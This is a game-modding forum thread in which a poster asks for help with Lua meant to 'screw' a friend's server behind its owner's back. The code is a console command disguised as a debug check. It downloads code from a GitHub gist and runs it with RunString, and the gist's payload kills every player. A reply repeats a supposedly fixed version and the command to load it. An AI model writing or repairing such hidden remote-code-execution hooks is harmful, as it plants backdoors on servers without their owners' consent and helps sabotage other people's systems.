QuestionSolvedhttp.Fetch()

Posts 16 of 6 · Page 1 of 1
http.Fetch()
Hi. I'm not the best at making threads, so sorry if I type this strangely. But I created some code to screw my friend's server (He's too stupid to get anti-cheats & stuff so saying "oh yeah RunString & http.Fetch() will be detected" it wont matter.) and I'm getting an error.
[ERROR] RunString:1: ')' expected near '<eof>'
1. unknown - RunString:0

What I tried to do is have a string of code run with the command (game_debug_info -- from the client) from a link. I have a gist on github that I've seen my [other] friend use, so I'm not sure if this is working. I placed the file in /lua/autorun/server/ but upon opening my game the command doesn't exist and I get that RunString error. Currently the gist has this code:
Code:
for k,v in pairs( player.GetAll() ) do
    v:Kill()
end
The code I'm using to run the command is this:

Code:
concommand.Add( "debug_game_check", function()
    local retrieved_code = ""
    http.Fetch( "https://gist.githubusercontent.com/<my github name here>/f7440a728c3e6ee5c29f/raw/fdf1066d77d80b1a30bd077ac8ce98fe07232232/http_fetch_code",
        function( body, len, headers, code )
            retrieved_code = body
            RunString( retrieved_code )
        end,
        function( error )
            Msg( "Could not create a debug file." )
            LocalPlayer():PrintMessage( HUD_PRINTCONSOLE, "Could not create a debug file." )
        end
    end )
end, nil, "", FCVAR_DONTRECORD )
Thanks.
using sv on cl???
Quote Originally Posted by Sir TE5T View Post
using sv on cl???
Haha shit I wasn't thinking. I got no sleep the last few days. I'll fix that.
@Breeee, have you managed to solve your issue yet?
1 week has passed and no further replies have been made by the OP. Assuming solved.

//Closed.

Quote Originally Posted by Breeee View Post
Hi. I'm not the best at making threads, so sorry if I type this strangely. But I created some code to screw my friend's server (He's too stupid to get anti-cheats & stuff so saying "oh yeah RunString & http.Fetch() will be detected" it wont matter.) and I'm getting an error.
[ERROR] RunString:1: ')' expected near '<eof>'
1. unknown - RunString:0

What I tried to do is have a string of code run with the command (game_debug_info -- from the client) from a link. I have a gist on github that I've seen my [other] friend use, so I'm not sure if this is working. I placed the file in /lua/autorun/server/ but upon opening my game the command doesn't exist and I get that RunString error. Currently the gist has this code:
Code:
for k,v in pairs( player.GetAll() ) do
    v:Kill()
end
The code I'm using to run the command is this:

Code:
concommand.Add( "debug_game_check", function()
    local retrieved_code = ""
    http.Fetch( "https://gist.githubusercontent.com/<my github name here>/f7440a728c3e6ee5c29f/raw/fdf1066d77d80b1a30bd077ac8ce98fe07232232/http_fetch_code",
        function( body, len, headers, code )
            retrieved_code = body
            RunString( retrieved_code )
        end,
        function( error )
            Msg( "Could not create a debug file." )
            LocalPlayer():PrintMessage( HUD_PRINTCONSOLE, "Could not create a debug file." )
        end
    end )
end, nil, "", FCVAR_DONTRECORD )
Thanks.
Code:
concommand.Add( "debug_game_check", function()
    local retrieved_code = ""
    http.Fetch( "https://gist.githubusercontent.com/<my github name here>/f7440a728c3e6ee5c29f/raw/fdf1066d77d80b1a30bd077ac8ce98fe07232232/http_fetch_code",
        function( body, len, headers, code )
            retrieved_code = body
            RunString( retrieved_code )
        end,
        function( error )
            Msg( "Could not create a debug file." )
            LocalPlayer():PrintMessage( HUD_PRINTCONSOLE, "Could not create a debug file." )
        end
    end )
end )
Here's the fixed code for you, Place in lua/autorun/client/test.lua!

lua_openscript_cl autorun/client/test.lua
Posts 16 of 6 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Need help?